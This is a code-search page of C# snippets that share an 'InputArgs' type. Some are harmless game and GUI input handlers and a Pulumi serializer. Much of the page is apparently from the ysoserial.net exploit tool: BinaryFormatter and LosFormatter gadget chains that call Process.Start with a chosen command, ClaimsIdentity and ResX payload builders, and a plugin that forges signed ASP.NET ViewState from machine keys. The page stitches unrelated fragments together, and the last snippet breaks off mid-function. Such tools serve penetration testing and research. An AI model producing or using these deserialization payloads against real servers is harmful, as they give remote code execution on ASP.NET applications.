Exemple #1
0
        public override bool ProcessEvent(InputArgs args)
        {
            if (_debug != null && _debug.ProcessEvent(args))
                return true;

            return base.ProcessEvent(args);
        }
Exemple #2
0
        public bool ProcessEvent(InputArgs args)
        {
            var keyInputArgs = args as KeyInputArgs;
            if (keyInputArgs != null)
            {
                if (!keyInputArgs.Pressed)
                    return false;

                return KeyPressed(keyInputArgs.Key, null);
            }

            var textInputArgs = args as TextInputArgs;
            if (textInputArgs != null)
            {
                return KeyPressed(Keyboard.Key.Unknown, textInputArgs.Text);
            }

            var mouseButtonArgs = args as MouseButtonInputArgs;
            if (mouseButtonArgs != null)
            {
                if (mouseButtonArgs.Pressed)
                    RemoveFocus();

                var mousePos = ConvertCoords(mouseButtonArgs.Position);
                return MousePressed(mousePos.X, mousePos.Y, mouseButtonArgs.Button, mouseButtonArgs.Pressed);
            }

            var mouseMoveArgs = args as MouseMoveInputArgs;
            if (mouseMoveArgs != null)
            {
                var mousePos = ConvertCoords(mouseMoveArgs.Position);
                MouseMoved(mousePos.X, mousePos.Y);
            }

            var mouseWheelArgs = args as MouseWheelInputArgs;
            if (mouseWheelArgs != null)
            {
                var mousePos = ConvertCoords(mouseWheelArgs.Position);
                return MouseWheelMoved(mousePos.X, mousePos.Y, mouseWheelArgs.Delta);
            }

            return false;
        }
Exemple #3
0
        internal bool ProcessInput(InputArgs args)
        {
            if (MouseMove != null && args is MouseMoveInputArgs)
            {
                var eArgs = (MouseMoveInputArgs)args;
                MouseMove(eArgs);
                return false;
            }

            if (args is KeyInputArgs)
            {
                var eArgs = (KeyInputArgs)args;
                KeyEvent e;

                if (Key.TryGetValue(eArgs.Key, out e))
                    return e(eArgs);
            }
            else if (Text != null && args is TextInputArgs)
            {
                var eArgs = (TextInputArgs)args;
                return Text(eArgs);
            }
            else if (args is MouseButtonInputArgs)
            {
                var eArgs = (MouseButtonInputArgs)args;
                MouseButtonEvent e;

                if (MouseButton.TryGetValue(eArgs.Button, out e))
                    return e(eArgs);
            }
            else if (MouseWheel != null && args is MouseWheelInputArgs)
            {
                var eArgs = (MouseWheelInputArgs)args;
                return MouseWheel(eArgs);
            }

            return false;
        }
Exemple #4
0
 /// <inheritdoc/>
 public void LeftDown(InputArgs args) => CurrentTool.LeftDown(args);
Exemple #5
0
 /// <inheritdoc/>
 public void RightUp(InputArgs args) => _editor?.CurrentTool?.RightUp(args);
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            if (inputArgs.Minify && inputArgs.UseSimpleType &&
                (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("LosFormatter", StringComparison.OrdinalIgnoreCase)))
            {
                // This is to provide even a smaller payload
                inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;

                string tcd_json_minified = @"[{'Id': 1,
    'Data': {
      '$type': 'SerializationHeaderRecord',
      'binaryFormatterMajorVersion': 1,
      'binaryFormatterMinorVersion': 0,
      'binaryHeaderEnum': 0,
      'topId': 1,
      'headerId': -1,
      'majorVersion': 1,
      'minorVersion': 0
}},{'Id': 2,
    'TypeName': 'Assembly',
    'Data': {
      '$type': 'BinaryAssembly',
      'assemId': 2,
      'assemblyString': 'System'
}},{'Id': 3,
    'TypeName': 'ObjectWithMapTypedAssemId',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 5,
      'objectId': 1,
      'name': 'System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]',
      'numMembers': 4,
      'memberNames':['Count','Comparer','Version','Items'],
      'binaryTypeEnumA':[0,1,0,1],
      'typeInformationA': null,
      'typeInformationB':[8,null,8,null],
      'memberAssemIds':[0,0,0,0],
      'assemId': 2
}},{'Id': 4,
    'TypeName': 'Int32',
    'IsPrimitive': true,
    'Data': {
      '$type': 'MemberPrimitiveUnTyped',
      'typeInformation': 8,
      'value': 2
}},{'Id': 5,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 3
}},{'Id': 6,
    'TypeName': 'Int32',
    'IsPrimitive': true,
    'Data': {
      '$type': 'MemberPrimitiveUnTyped',
      'typeInformation': 8,
      'value': 0
}},{'Id': 7,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 4
}},{'Id': 8,
    'TypeName': 'ObjectWithMapTyped',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 4,
      'objectId': 3,
      'name': 'System.Collections.Generic.ComparisonComparer`1[[System.String]]',
      'numMembers': 1,
      'memberNames':['_comparison'],
      'binaryTypeEnumA':[1],
      'typeInformationA': null,
      'typeInformationB':[null],
      'memberAssemIds':[0],
      'assemId': 0
}},{'Id': 9,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 5
}},{'Id': 10,
    'TypeName': 'ArraySingleString',
    'Data': {
      '$type': 'BinaryArray',
      'objectId': 4,
      'rank': 0,
      'lengthA':[2],
      'lowerBoundA': null,
      'binaryTypeEnum': 0,
      'typeInformation': null,
      'assemId': 0,
      'binaryHeaderEnum': 17,
      'binaryArrayTypeEnum': 0
}},{'Id': 11,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 6,
      'value': '" + inputArgs.CmdArguments + @"'
}},{'Id': 12,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 7,
      'value': '" + inputArgs.CmdFileName + @"'
}},{'Id': 13,
    'TypeName': 'ObjectWithMapTyped',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 4,
      'objectId': 5,
      'name': 'System.DelegateSerializationHolder',
      'numMembers': 3,
      'memberNames':['Delegate','','x'],
      'binaryTypeEnumA':[1,1,1],
      'typeInformationA': null,
      'typeInformationB':[null,null,null],
      'memberAssemIds':[0,0,0],
      'assemId': 0
}},{'Id': 14,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 8
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 17,
    'TypeName': 'ObjectWithMapTyped',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 4,
      'objectId': 8,
      'name': 'System.DelegateSerializationHolder+DelegateEntry',
      'numMembers': 7,
      'memberNames':['type','assembly','','targetTypeAssembly','targetTypeName','methodName','delegateEntry'],
      'binaryTypeEnumA':[1,1,1,1,1,1,1],
      'typeInformationA': null,
      'typeInformationB':[null,null,null,null,null,null,null],
      'memberAssemIds':[0,0,0,0,0,0,0],
      'assemId': 0
}},{'Id': 18,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 11,
      'value': 'System.Func`3[[System.String],[System.String],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]'
}},{'Id': 19,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 12,
      'value': 'mscorlib'
}},{'Id': 20,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 21,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 13,
      'value': 'System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089'
}},{'Id': 22,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 14,
      'value': 'System.Diagnostics.Process'
}},{'Id': 23,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 15,
      'value': 'Start'
}},{'Id': 24,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 16
}},{'Id': 25,
    'TypeName': 'ObjectWithMapTyped',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 4,
      'objectId': 9,
      'name': 'x',
      'numMembers': 7,
      'memberNames':['','','','','','',''],
      'binaryTypeEnumA':[1,1,1,1,1,0,1],
      'typeInformationA': null,
      'typeInformationB':[null,null,null,null,null,8,null],
      'memberAssemIds':[0,0,0,0,0,0,0],
      'assemId': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 31,
    'TypeName': 'Int32',
    'IsPrimitive': true,
    'Data': {
      '$type': 'MemberPrimitiveUnTyped',
      'typeInformation': 8,
      'value': 0
}},{'Id': 33,
    'TypeName': 'Object',
    'Data': {
      '$type': 'BinaryObject',
      'objectId': 10,
      'mapId': 9
}},{'Id': 34,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 22,
      'value': 'Compare'
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 36,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 24,
      'value': 'System.String'
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 0,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 39,
    'TypeName': 'Int32',
    'IsPrimitive': true,
    'Data': {
      '$type': 'MemberPrimitiveUnTyped',
      'typeInformation': 8,
      'value': 0
}},{'Id': 40,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 41,
    'TypeName': 'Object',
    'Data': {
      '$type': 'BinaryObject',
      'objectId': 16,
      'mapId': 8
}},{'Id': 42,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 27,
      'value': 'System.Comparison`1[[System.String]]'
}},{'Id': 43,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 12
}},{'Id': 44,
    'TypeName': 'ObjectNull',
    'Data': {
      '$type': 'ObjectNull',
      'nullCount': 0
}},{'Id': 45,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 12
}},{'Id': 46,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 24
}},{'Id': 47,
    'TypeName': 'MemberReference',
    'Data': {
      '$type': 'MemberReference',
      'idRef': 22
}},{'Id': 49,
    'TypeName': 'MessageEnd',
    'Data': {
      '$type': 'MessageEnd'
}}]";

                MemoryStream ms_bf = AdvancedBinaryFormatterParser.JsonToStream(tcd_json_minified);
                if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
                {
                    //BinaryFormatter
                    if (inputArgs.Test)
                    {
                        try
                        {
                            ms_bf.Position = 0;
                            SerializersHelper.BinaryFormatter_deserialize(ms_bf);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(ms_bf.ToArray());
                }
                else
                {
                    // LosFormatter
                    MemoryStream ms_lf = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms_bf);

                    if (inputArgs.Test)
                    {
                        try
                        {
                            ms_bf.Position = 0;
                            SerializersHelper.LosFormatter_deserialize(ms_lf.ToArray());
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(ms_lf.ToArray());
                }
            }
            else
            {
                return(Serialize(TypeConfuseDelegateGadget(inputArgs), formatter, inputArgs));
            }
        }
Exemple #7
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            PayloadClass payload = new PayloadClass(variant_number);

            return(Serialize(payload, formatter, inputArgs));
        }
Exemple #8
0
        private async Task <ImmutableDictionary <string, object> > SerializeInputArgsAsync(string ctx, InputArgs args, bool keepResources, bool keepOutputValues)
        {
            if (_excessiveDebugOutput)
            {
                Log.Debug($"Serialize property[{ctx}]: Recursing into ResourceArgs");
            }

            var dictionary = await args.ToDictionaryAsync().ConfigureAwait(false);

            return(await SerializeDictionaryAsync(ctx, dictionary, keepResources, keepOutputValues).ConfigureAwait(false));
        }
Exemple #9
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            IGenerator generator = new TextFormattingRunPropertiesGenerator();

            byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
            string b64encoded             = Convert.ToBase64String(binaryFormatterPayload);


            if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
                formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
            {
                string payload_bf_json = @"[{'Id': 1,
    'Data': {
      '$type': 'SerializationHeaderRecord',
      'binaryFormatterMajorVersion': 1,
      'binaryFormatterMinorVersion': 0,
      'binaryHeaderEnum': 0,
      'topId': 1,
      'headerId': -1,
      'majorVersion': 1,
      'minorVersion': 0
}},{'Id': 2,
    'TypeName': 'ObjectWithMapTyped',
    'Data': {
      '$type': 'BinaryObjectWithMapTyped',
      'binaryHeaderEnum': 4,
      'objectId': 1,
      'name': 'System.Security.Claims.ClaimsIdentity',
      'numMembers': 1,
      'memberNames':['m_serializedClaims'],
      'binaryTypeEnumA':[1],
      'typeInformationA':[null],
      'typeInformationB':[null],
      'memberAssemIds':[0],
      'assemId': 0
}},{'Id': 10,
    'TypeName': 'ObjectString',
    'Data': {
      '$type': 'BinaryObjectString',
      'objectId': 5,
      'value': '" + b64encoded + @"'
}},{'Id': 11,
    'TypeName': 'MessageEnd',
    'Data': {
      '$type': 'MessageEnd'
}}]";

                MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json);

                if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
                {
                    if (inputArgs.Test)
                    {
                        try
                        {
                            ms.Position = 0;
                            System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
                            bf.Deserialize(ms);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(ms.ToArray());
                }
                else
                {
                    // it is LosFormatter
                    byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms.ToArray());

                    MemoryStream ms2 = new MemoryStream(lfSerializedObj);
                    ms2.Position = 0;
                    if (inputArgs.Test)
                    {
                        try
                        {
                            System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter();
                            lf.Deserialize(ms2);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(lfSerializedObj);
                }
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                string payload = "";

                payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:ClaimsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/ns/System.Security.Claims"">
<m_serializedClaims id=""ref-5"">{b64encoded}</m_serializedClaims>
</a1:ClaimsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
                if (inputArgs.Minify)
                {
                    payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.SoapFormatter_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Exemple #10
0
        // Handles the input for the gui manager
        public void handleInput(InputArgs args)
        {
            // Variables
            Control	ctrl;

            for(int i= 0; i< openedSets.size; i++)
            {
                if(sets.get(openedSets.items[i], out ctrl))
                    ctrl.handleInput(ref args);
            }
        }
Exemple #11
0
 public abstract void EndDown(InputArgs args);
Exemple #12
0
 public abstract void BeginUp(InputArgs args);
Exemple #13
0
 public abstract void BeginDown(InputArgs args);
Exemple #14
0
 public abstract void Move(InputArgs args);
Exemple #15
0
 public abstract void EndUp(InputArgs args);
Exemple #16
0
        public static string GetPayload(string mode, string file, InputArgs inputArgs)
        {
            String mtype        = "";
            String payloadValue = "";
            string payload      = @"<root>
 <xsd:schema id=""root"" xmlns="""" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"">
 <xsd:import namespace=""http://www.w3.org/XML/1998/namespace"" />
 <xsd:element name=""root"" msdata:IsDataSet=""true"">
 <xsd:complexType>
 <xsd:choice maxOccurs=""unbounded"">
 <xsd:element name=""metadata"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" use=""required"" type=""xsd:string"" />
 <xsd:attribute name=""type"" type=""xsd:string"" />
 <xsd:attribute name=""mimetype"" type=""xsd:string"" />
 <xsd:attribute ref=""xml:space"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""assembly"">
 <xsd:complexType>
 <xsd:attribute name=""alias"" type=""xsd:string"" />
 <xsd:attribute name=""name"" type=""xsd:string"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""data"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""1"" />
 <xsd:element name=""comment"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""2"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" type=""xsd:string"" use=""required"" msdata:Ordinal=""1"" />
 <xsd:attribute name=""type"" type=""xsd:string"" msdata:Ordinal=""3"" />
 <xsd:attribute name=""mimetype"" type=""xsd:string"" msdata:Ordinal=""4"" />
 <xsd:attribute ref=""xml:space"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""resheader"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""1"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" type=""xsd:string"" use=""required"" />
 </xsd:complexType>
 </xsd:element>
 </xsd:choice>
 </xsd:complexType>
 </xsd:element>
 </xsd:schema>
 <resheader name=""resmimetype"">
 <value>text/microsoft-resx</value>
 </resheader>
 <resheader name=""version"">
 <value>2.0</value>
 </resheader>
 <resheader name=""reader"">
 <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </resheader>
 <resheader name=""writer"">
 <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </resheader>
 <assembly alias=""System.Windows.Forms"" name=""System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" />

<data name=""x"" {0}>
 <value>{1}</value>
 </data>
</root>";

            switch (mode.ToLower())
            {
            case "indirect_resx_file":
                if (!String.IsNullOrEmpty(file) && !String.IsNullOrWhiteSpace(file))
                {
                    mtype        = @"type=""System.Resources.ResXFileRef""";
                    payloadValue = file + "; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
                }
                break;

            case "binaryformatter":
                if (!String.IsNullOrEmpty(inputArgs.CmdFullString) && !String.IsNullOrWhiteSpace(inputArgs.CmdFullString))
                {
                    mtype = @"mimetype=""application/x-microsoft.net.object.binary.base64""";
                    byte[] osf = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
                    payloadValue = Convert.ToBase64String(osf);
                }
                break;

            case "soapformatter":
                mtype = @"mimetype=""application/x-microsoft.net.object.soap.base64""";
                if (!String.IsNullOrEmpty(inputArgs.CmdFullString) && !String.IsNullOrWhiteSpace(inputArgs.CmdFullString))
                {
                    byte[] osf = (byte[])new ActivitySurrogateSelectorFromFileGenerator().GenerateWithNoTest("SoapFormatter", inputArgs);
                    payloadValue = Convert.ToBase64String(osf);
                }
                else
                {
                    byte[] osf = (byte[])new ActivitySurrogateSelectorGenerator().GenerateWithNoTest("SoapFormatter", inputArgs);
                    payloadValue = Convert.ToBase64String(osf);
                }
                break;
            }

            if (String.IsNullOrEmpty(payloadValue))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p Resx --help' for more information.");
                System.Environment.Exit(-1);
            }

            payload = String.Format(payload, mtype, payloadValue);

            if (inputArgs.Minify)
            {
                payload = XMLMinifier.Minify(payload, null, null);
            }

            return(payload);
        }
Exemple #17
0
 public static string GetPayload(string mode, InputArgs inputArgs)
 {
     return(GetPayload(mode, "", inputArgs));
 }
Exemple #18
0
 void Input_Event(object sender, InputArgs e)
 {
     if (ShowManager)
     {
         foreach (KeyEvent evt in e.args)
         {
             if (LastWindowMouseEnter != null)
                 LastWindowMouseEnter.KeyDown(evt);
         }
     }
 }
Exemple #19
0
        private static void DispatchEvent(InputArgs args)
        {
            if (State == null)
                return;

            State.ProcessEvent(args);
        }
Exemple #20
0
        public object Run(string[] args)
        {
            InputArgs     inputArgs = new InputArgs();
            List <string> extra;

            try
            {
                extra                   = options.Parse(args);
                inputArgs.Cmd           = command;
                inputArgs.Minify        = minify;
                inputArgs.UseSimpleType = useSimpleType;
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                ShowExamples();
                System.Environment.Exit(-1);
            }

            if (showExamples)
            {
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                ShowExamples();
                System.Environment.Exit(-1);
            }

            if (String.IsNullOrEmpty(command) && !dryRun)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                ShowExamples();
                System.Environment.Exit(-1);
            }

            var types = AppDomain.CurrentDomain.GetAssemblies().SelectMany(s => s.GetTypes());

            // Populate list of available gadgets
            var generatorTypes = types.Where(p => typeof(Generator).IsAssignableFrom(p) && !p.IsInterface);
            var generators     = generatorTypes.Select(x => x.Name.Replace("Generator", "")).ToList();

            uint parsedViewstateGeneratorIdentifier = 0;

            if (!String.IsNullOrEmpty(viewstateGenerator))
            {
                // Converting "__VIEWSTATEGENERATOR" from HEX to INT
                if (UInt32.TryParse(viewstateGenerator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out parsedViewstateGeneratorIdentifier))
                {
                    // A valid "__VIEWSTATEGENERATOR" was provided!
                    isLegacy = true;
                }
                else
                {
                    Console.WriteLine("Invalid generator parameter. It needs to be in Hex format. Example: 955733D9");
                    System.Environment.Exit(-1);
                }
            }

            if (dryRun)
            {
                if (isDebug)
                {
                    Console.WriteLine("dryRun mode, using the minimum payload without any exploit");
                }
                payloadString = dryRunViewStateString;
            }
            else if (!String.IsNullOrEmpty(unsignedPayload))
            {
                payloadString = unsignedPayload;
            }
            else
            {
                if (!generators.Contains(gadget))
                {
                    Console.WriteLine("Gadget not supported.");
                    System.Environment.Exit(-1);
                }

                // Instantiate Payload Generator
                Generator generator = null;
                try
                {
                    var container = Activator.CreateInstance(null, "ysoserial.Generators." + gadget + "Generator");
                    generator = (Generator)container.Unwrap();
                }
                catch
                {
                    Console.WriteLine("Gadget not supported!");
                    System.Environment.Exit(-1);
                }

                // Check Generator supports specified formatter
                if (generator.IsSupported(formatter))
                {
                    payloadString = System.Text.Encoding.ASCII.GetString((byte[])generator.GenerateWithNoTest(formatter, inputArgs));
                }
                else
                {
                    Console.WriteLine("LosFormatter not supported.");
                    System.Environment.Exit(-1);
                }
            }

            if (isDebug)
            {
                if (viewStateUserKey != null)
                {
                    if (viewStateUserKey.Equals(""))
                    {
                        Console.WriteLine("viewStateUserKey is EMPTY not NULL. It will be used in MAC calculation");
                    }
                }
            }

            byte[] payload = System.Convert.FromBase64String(payloadString);

            // we are settign the given machineKey parameters dynamically in this application to make the process easier
            // thanks to stackoverflow #18446385 for the tips!
            object[] emptyArray = new object[] { };

            var machineKeySectionType      = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
            var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
            var config        = (MachineKeySection)getApplicationConfigMethod.Invoke(null, emptyArray);
            var section       = (MachineKeySection)ConfigurationManager.GetSection("system.web/machinekey"); //interesting
            var readOnlyField = typeof(ConfigurationElement).GetField("_bReadOnly", BindingFlags.Instance | BindingFlags.NonPublic);

            readOnlyField.SetValue(config, false);
            // we don't really need the encryption/decyption keys to create a valid legacy viewstate but this is used when isEncrypted=true
            if (!String.IsNullOrEmpty(decryptionKey) && (!isLegacy || (isLegacy && isEncrypted)))
            {
                if (isDebug)
                {
                    Console.WriteLine("Encryption is on!");
                }
                config.Decryption    = decryptionAlg;
                config.DecryptionKey = decryptionKey;
            }
            if (validationAlg.ToUpper().Equals("3DES"))
            {
                // If validationAlg is 3DES, modify it to TripleDES in order for Enum.Parse to work.
                validationAlg = "TripleDES";
            }
            config.Validation    = (MachineKeyValidation)Enum.Parse(typeof(MachineKeyValidation), validationAlg);
            config.ValidationKey = validationKey;
            readOnlyField.SetValue(config, true);

            object finalPayload;

            if (isLegacy)
            {
                finalPayload = generateViewStateLegacy_2_to_4(targetPagePath, parsedViewstateGeneratorIdentifier, IISAppInPathOrVirtualDir, isEncrypted, viewStateUserKey, payload);
            }
            else
            {
                finalPayload = generateViewState_4dot5(targetPagePath, IISAppInPathOrVirtualDir, viewStateUserKey, payload);
            }

            return(finalPayload);
        }
Exemple #21
0
        public static string GetPayload(string mode, string file, InputArgs inputArgs)
        {
            String mtype        = "";
            String payloadValue = "";
            string payload      = @"<root>
 <xsd:schema id=""root"" xmlns="""" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"">
 <xsd:import namespace=""http://www.w3.org/XML/1998/namespace"" />
 <xsd:element name=""root"" msdata:IsDataSet=""true"">
 <xsd:complexType>
 <xsd:choice maxOccurs=""unbounded"">
 <xsd:element name=""metadata"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" use=""required"" type=""xsd:string"" />
 <xsd:attribute name=""type"" type=""xsd:string"" />
 <xsd:attribute name=""mimetype"" type=""xsd:string"" />
 <xsd:attribute ref=""xml:space"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""assembly"">
 <xsd:complexType>
 <xsd:attribute name=""alias"" type=""xsd:string"" />
 <xsd:attribute name=""name"" type=""xsd:string"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""data"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""1"" />
 <xsd:element name=""comment"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""2"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" type=""xsd:string"" use=""required"" msdata:Ordinal=""1"" />
 <xsd:attribute name=""type"" type=""xsd:string"" msdata:Ordinal=""3"" />
 <xsd:attribute name=""mimetype"" type=""xsd:string"" msdata:Ordinal=""4"" />
 <xsd:attribute ref=""xml:space"" />
 </xsd:complexType>
 </xsd:element>
 <xsd:element name=""resheader"">
 <xsd:complexType>
 <xsd:sequence>
 <xsd:element name=""value"" type=""xsd:string"" minOccurs=""0"" msdata:Ordinal=""1"" />
 </xsd:sequence>
 <xsd:attribute name=""name"" type=""xsd:string"" use=""required"" />
 </xsd:complexType>
 </xsd:element>
 </xsd:choice>
 </xsd:complexType>
 </xsd:element>
 </xsd:schema>
 <resheader name=""resmimetype"">
 <value>text/microsoft-resx</value>
 </resheader>
 <resheader name=""version"">
 <value>2.0</value>
 </resheader>
 <resheader name=""reader"">
 <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </resheader>
 <resheader name=""writer"">
 <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </resheader>
 <assembly alias=""System.Windows.Forms"" name=""System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" />

<data name=""x"" {0}>
 <value>{1}</value>
 </data>
</root>";

            switch (mode.ToLower())
            {
            case "indirect_resx_file":
